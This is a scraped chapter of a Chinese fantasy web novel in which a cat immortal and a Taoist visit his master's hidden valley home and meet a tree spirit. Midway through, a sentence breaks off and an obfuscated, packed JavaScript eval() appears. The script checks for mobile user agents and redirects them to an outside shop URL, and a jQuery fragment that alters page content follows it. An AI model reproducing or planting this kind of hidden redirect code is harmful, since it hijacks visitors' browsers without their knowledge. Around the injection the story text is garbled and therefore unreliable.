文趣网 > 其他小说 > 月下猫儿仙 > 16. 第十六章
    其实所谓的霉煞只要心里多注意就能避开,不过有和辞仙靠近的方法,楼知墨是不可能不会用的。

    日上三竿,辞仙慢悠悠的打了个哈欠睁开眼睛。抓着床上的被褥伸懒腰。

    见楼知墨在房间内看书,“楼知墨,我饿了。”

    楼知墨知道辞仙大约这个时候醒,早就备好了早餐。

    “在那儿呢,还热着。”

    辞仙顺着他指的方向看过去,打开保温盒,“是豆腐脑!”

    她拿起勺子舀了一勺送入嘴中,口齿不清含糊道:“怎么是甜的?”

    “下次试试咸的?也可以试试辣的。”

    辞仙咬着勺子想了想,“还是不要了吧。”她挺喜欢吃甜的。

    吃完早餐,两人准备出门离开酒店。

    一进电梯,楼知墨就卖惨说自己遭受反噬这件事情。

    “辞仙,我不是受到了反噬吗?”

    “昂。”

    “我搞清楚那是什么了?”

    辞仙好奇,歪着脑袋看他,“是什么?”

    “是断财断运。”

    辞仙听明白了,就是穷加倒霉呗。

    她听楼知墨继续说:“但是,我发现这个反噬有解救的办法。”

    楼知墨卖了个关子。

    辞仙:“什么办法?”

    楼知墨招手,辞仙凑上去。

    看着贴近来的脑袋,楼知墨心跳略加速,他小声低头凑到辞仙耳边说:“我发现,只要和上仙保持五米内的距离,影响我周身运势的气就会消失。”

    “那如果你我距离超过五米呢?”

    “当然是发生一些不可抗力却又及其自然的事情,;你想看吗?”

    辞仙想到了昨天冒火爆炸的手机、突如其来的货车,她捂着自己的心口,其实那些刹那间,她心想的是如果楼知墨出了意外,自己还能随便吃吃喝喝吗?

    “不是很想看,楼知墨,你可千万不能有事啊。”辞仙一把抓着他的手腕,郑重其事的说。

    楼知墨的心顿时融化成一潭春水。

    电梯门开,辞仙收回手,走出去自顾自说:“毕竟你要有事,再找一个饭票会很麻烦的。”

    楼知墨:“……”

    身体的本能驱使他主动跟上去。

    辞仙走出酒店门口才想起来楼知墨的车已经报废了,她等楼知墨走过来问:“你车没了,我们要怎么去你家?”

    楼知墨晃了晃手里的手机,“辞仙,要感受一下现代上天的方法吗?”

    楼知墨带辞仙打车去了机场,走特殊通道上了飞机。

    没等多久飞机就起飞了,辞仙喝着果汁看窗外的天空不由得感叹。

    “没想到哇没想到,你们人还挺聪明的。”

    楼知墨淡淡一笑。

    可这股兴奋劲没过多久就消失了,长时间固定在一个范围内是一种酷刑。

    辞仙在座位上不停的做小动作。

    “你想做什么就做什么吧,反正这里只有我们两人。”

    “那我可以变回原形吗?”

    “当然可以。”

    辞仙说变就变,三花猫瘫在座椅上,在不知不觉间睡着了。

    到地点后辞仙还没有醒,睡得很安稳。

    楼知墨一把抱起毫无防备的她。

    “你很得意吧。”心魔不合时宜的冒出来。

    “看她一脸无知无觉全身心躺在你怀里你一定很得意吧。”

    楼知墨嗤笑一声,“你酸了。”

    心魔却调笑道:“你说她多久会发现自己对你有熟悉的安全感呢?”

    楼知墨的眼神一下子冷下来,“那也不关你的事。”

    这下轮到心魔嗤笑了,“当然与我有关,毕竟等她意识到的时候也就会想起——”

    心魔话音戛然而止,再也发不出半点声响。

    外面的街道吵吵嚷嚷的,各种嘈杂的声音入耳,辞仙想不醒都难。

    “我们这是在哪儿?”她睁开眼睛。

    发现自己已经不在飞机上,而是一辆汽车内。

    她趴在车窗前,看着与青花镇别无二致的景色,山青水绿的。

    “我们这是去你家的路上?”

    “嗯,我家位置其实有点偏僻。”

    辞仙有点厌倦了坐车这种无聊的事情,“那还有多久才到啊?”

    楼知墨估算了一下时间,“还有五分钟就到了。”

    辞仙拿起手机玩弄。

    楼知墨说是五分钟,实际上三分钟就到了。

    车停在乡间公路边的停车位里。

    辞仙趴在楼知墨怀里。

    楼知墨指着一条山间小道,“顺着这条路就能上山,我家就在半山腰上。”

    辞仙忍不住咬了咬楼知墨的手腕。

    没有真的咬穿,但用了点力,疼痛感传递到四肢百骸,楼知墨慢悠悠说出后面的话。

    “不过我们今天可以走捷径。”

    说着催动自己手心一直握着的传送符。

    辞仙只眨巴了一下自己的眼睛,眼前的风景就变了个样。

    坐落在山腰上的双层红砖瓦房小院看起来格外有年代感。

    鹅卵石铺的小路弯弯曲曲延伸到门口,瓦房外围了一圈竹篱笆,上面缠绕着白紫色的牵牛花。院子内专门留出一块地种了蔬菜。

    楼知墨牵着辞仙往屋内走,进去了才发现别有洞天。

    双层瓦房的后门是一条向下的木质长廊。

    辞仙:“这是一座山谷?”

    楼知墨:“嗯,前面的屋子只是障眼法,我家就在下面。”

    辞仙看不懂风水,却也能感受到环境里存在的气息。在城市里,气息是驳杂的、混乱的。可是在这里,气息安宁且平静。

    辞仙深吸一口气,蹦蹦跳跳的在走廊栏杆上上蹿下跳走到楼知墨前面。

    楼知墨会心一笑,跟上去。

    穿过走廊他们进了古宅内。

    辞仙几个跳跃间攀上了高层,扫视了一眼整座宅子的范围。

    宅子很大,起码是刚才山腰间那座宅子的三倍大。

    院子里正有个人在走动,砂锅咕噜咕噜的冒着热气。

    “回来了?”

    辞仙看向了说话的人。

    是一位脸上带着岁月痕迹的中年女人。

    她正在切菜。

    楼知墨越过辞仙,上前接过她的活。

    “师傅,我们回来了。”

    闾丘桂回头看了一眼。

    徒弟周身气息平稳,看来压制心魔做的很好。

    旁边有一只三花小猫蹲在地上歪着头看她。

    闾丘桂的心一下子就融化了。

    她擦拭双手,曲腿蹲在辞仙面前。

    “我可以摸摸你吗?”

    辞仙眨了眨眼睛,化为人形,居高临下俯视闾丘桂。

    “不可以。”

    被拒绝了,闾秋桂也不恼,言笑晏晏。

    “那好吧。”

    说完这句话就坐躺椅上休憩晒着秋日。

    辞仙刚刚听到了楼知墨叫她师傅,又问她,“你是楼知墨的师傅?”

    闾丘桂嗯了一声,她做起身,“你对他好奇吗?我那儿还有他以前的照片。”

    辞仙不好奇,摇了摇头。但她对闾丘桂挺好奇的。

    “那他会的那些符箓法术都是你教的?”

    “有一半是。”

    辞仙摸不着头脑。“为什么只有一半?”

    闾丘桂注意到某人手中的刀停顿了片刻,也不卖关子。

    “还有一半是他自学的。”

    “哇哦,不错嘛。”

    辞仙只评价了这么一句。

    轮到闾丘桂问她了。

    “你不好奇我看见你为什么不害怕?”

    辞仙信誓旦旦,“我要来的事情楼知墨肯定告诉你了。”

    “那你知道他当时说的什么吗?”

    辞仙并不好奇,看这样子,楼知墨并没有讲明自己的身份,不然这个凡人为何一见到自己就想要伸手抚摸,简直是胆大包天。要知道没有自己的允许,谁都不能摸自己。

    “噢,那你说说看。”

    楼知墨打断她们,“饭菜都做好了,先吃饭。”

    辞仙连忙到院内的石圆桌旁坐下等开饭。食材新鲜,比不上大厨做的华丽,可辞仙吃着也很香。

    果然,吃完后饭前讨论的自学话题自然而然地被辞仙抛之脑后。

    辞仙说自己要在周围逛逛,化为原型一溜烟跑了。

    她一走,没有东西镇压楼知墨身上的穷秽煞气,抱着准备清洗的碗放在石做的洗碗槽内一下子摔烂了边边角角。

    闾丘桂:“你带什么脏东西回来了。”

    楼知墨没放在心上,“我之前寄回来的东西呢?”

    “在你自己屋里,我没拆。”

    楼知墨进屋,路过门槛又不小心滑了一下,很快反应握住门上的木楞稳住身形。

    闾丘桂还是第一次见他这幅出糗模样,不由得乐呵地辛灾乐祸看他进了屋内。

    楼知墨屋内的东西并没有什么特别,寄回来的东西全都放在桌子上,他身上的穷煞气其实已经有所减弱。

    他拿起桌上最顶层的一个包裹拆开,里面是一半块巴掌大的荷包。

    荷包干瘪,外面的绣样是少见的符文,里面似乎没有装任何东西。

    楼知墨打开荷包,确认里面的东西还在后,随身放进内侧的衣服口袋里贴身保管好。

    他开始整理其他东西并且准备画符,之前消耗的符箓也该做一些补充。

    至于辞仙,等她回来了再问问去哪儿玩了。

    辞仙遇见了一棵树妖。她生长在一汪清澈的潭水边,秋风吹得她的树身沙沙作响。

    辞仙一眼就注意到这位穿着白衣的树妖。

    她踱步缓缓靠近,在还剩一米的位置时,自己脖子毛毛间的姻缘线居然距离颤动冒出头来。

    辞仙变作人形看着手中的姻缘线缠绕上之前山神给她的福字荷包。

    “这个荷包,我瞅着颇为眼熟呢。”

    树妖漂浮在辞仙身后,盯着她手里的荷包嚷嚷。

    “嗯?”磁县还没搞明白姻缘线为什么要缠着荷包,遗憾没吓到树妖,听她这么说,急忙问:“那你还能想起来自己在何处见过它吗?”

    树妖皱着眉头,托着脑袋,“我年纪大了,我得仔细想想。百年前的灯会上?还是千年前的宴会里?不对,好像都不对。”

    辞仙无语,这个树妖看

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764175|209253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起来脑子不太好的样子。

    因为姻缘线无故缠绕上福字荷包,辞仙也没了游玩的兴致。

    她举起荷包左看右看,尝试与姻缘线沟通,也毫无反应。

    辞仙暴躁地去扯荷包上的姻缘线,结果姻缘线纹丝不动,就像已经在荷包上生根发芽一般,死死绑着荷包不松开。

    见天色黯淡下来,辞仙闷闷不乐往宅子里走,回去时楼知墨已经做好了饭,热气腾腾的饭菜摆在桌子上,就等辞仙回来。

    “我算到你约莫着这个时辰回来,一定饿了吧?”

    辞仙看见饭菜都是自己喜欢吃的,心情稍微转好。

    她用过饭后,凑到楼知墨身旁,“楼知墨,我有话要对你说。”

    楼知墨正在收拾,指着自己的房间说:“你先去我房间坐会儿,我收拾完东西就过去。”

    辞仙走后,闾丘桂好奇问:“你说小猫想对你说什么?喜欢你还是给你发好人卡?”

    楼知墨无语,“什么时候闾丘桂女士你也如此无聊了?”

    闾丘桂乐呵呵的,“这不是难得见你乖巧的一面吗?”

    “师傅你少来,你就是单纯看热闹不嫌事大。还有,不要随便揣测辞仙。”

    见徒弟如此郑重其事,闾丘桂收起脸上的看戏神色,她对自己徒弟有几分了解,对方天生带着前世记忆,那只灵力充沛的小猫想必对他很重要。闾丘桂笑道:“以后不打趣你了。”

    辞仙按照楼知墨指的方向推开了门,看清房内摆件后不由得咂舌。

    房间很大,一张大床拜访在正中央,一面墙是摆放着衣柜,而另一面墙则挂满了无数法剑。

    辞仙连忙走上前观摩。

    雷击木、桃木、青铜、铜钱、不知名兽牙、其他矿石锻造的利刃整整齐齐、错落有致的挂满了墙面。

    楼知墨一进门就看见她呆愣住的模样。

    “被吓到了?”

    辞仙回神,兴致勃勃,“楼知墨,你喜欢收集法剑?”

    “嗯,我喜欢收集一些法剑,算是个人癖好。”

    “没想到你一介道士,藏品这么丰富,不过除了那把雷击木和桃木、铜钱,其他中看不中用。”

    楼知墨一笑,“我平日用的法剑是镯中剑,其他法剑也不常用,中看不中用也无妨,毕竟人生在世,还是需要有点爱好的。”

    说着他拿着准备好的抹布,一一擦拭那些剑身做清洁。

    辞仙的兴奋劲过去,这才想起来自己想要问楼知墨什么,可见他干活认真,忍住了,等楼知墨擦拭完他的收藏品后才取出福字荷包。

    “你还记得我们上次遇见的那尊消弭的山神吗?”

    楼知墨接过辞仙手中的荷包查看。

    “记得,这只荷包就是他给你的,说是希望你帮他找到一位小女孩。可是现在这上面缠绕上了你的姻缘线?”

    辞仙:“对对对!就是姻缘线!”

    “我试图和姻缘线沟通,失败了。”

    楼知墨没有问为什么,他只问:“你今天四处闲逛遇见了谁?这只荷包才变成了这样的。”

    辞仙纳闷,“你的地界里你不知道?”

    见他真的一脸迷惑的样子,辞仙简单解释了一下她撞见那只树妖的事情。

    “姻缘线是遇见她之后缠绕上荷包的,说明姻缘线与荷包都和她有关,我们明日再去查看一番。”

    辞仙点头,也只能先这样了。

    观望了一圈四周,又问:“那楼知墨,我今晚睡哪里?”

    楼知墨站在门口,“走吧,我带你去。”

    辞仙跟上,然后见他走进了隔壁屋子。

    辞仙一进去就觉得通体舒畅。

    她迫不及待化为小猫跳上了床,有弹性、柔软的床铺像踩在绵软云朵上一样。

    楼知墨也回了自己房间,只不过一进屋子,体内心魔就问他,“怎么不顺势就叫小猫与你一间房呢?你明明很想的嘛。”

    “想与能不能是两回事。”

    “切,假正经。”

    心魔说完这句话就不闭嘴了,这里是楼知墨家,灵气充沛,还有他师傅在,心魔没有在外面那般猖狂。

    楼知墨也关灯歇息,明早还要起来做一些早餐。

    夜深人静,明月高悬。

    遭到玄门追捕的两人也成功找到了暂时的安居之所。

    扶霍吃着泡面,口齿含糊问老头:“现在怎么办?我看那么多人都在找我们的踪迹,虽然他们现在毫无线索。”

    老头看着手机里合作方发来的消息,“给他们找点事做就行。”

    扶霍:“能找点什么事情,老头你有想法了?”

    “西边的荒地有样东西被封印中,去解开给玄门找点事情做,这样他们就没有时间查我们的踪迹了。毕竟一个已知会带来风险。”

    扶霍预感不妙,“那谁去解开封印?”

    老头恨铁不成钢,“瞧你那没出息的样子,放心吧,不是你。是溯影的人。”

    扶霍放下心,继续吃自己的泡面。

    一夜安眠。

    辞仙照常睡到日上三竿才醒。

    她起身舔舐完自己的猫毛后才慢悠悠地出门。

    这里基本没有外人,它光明正大以小猫的形态走出屋子。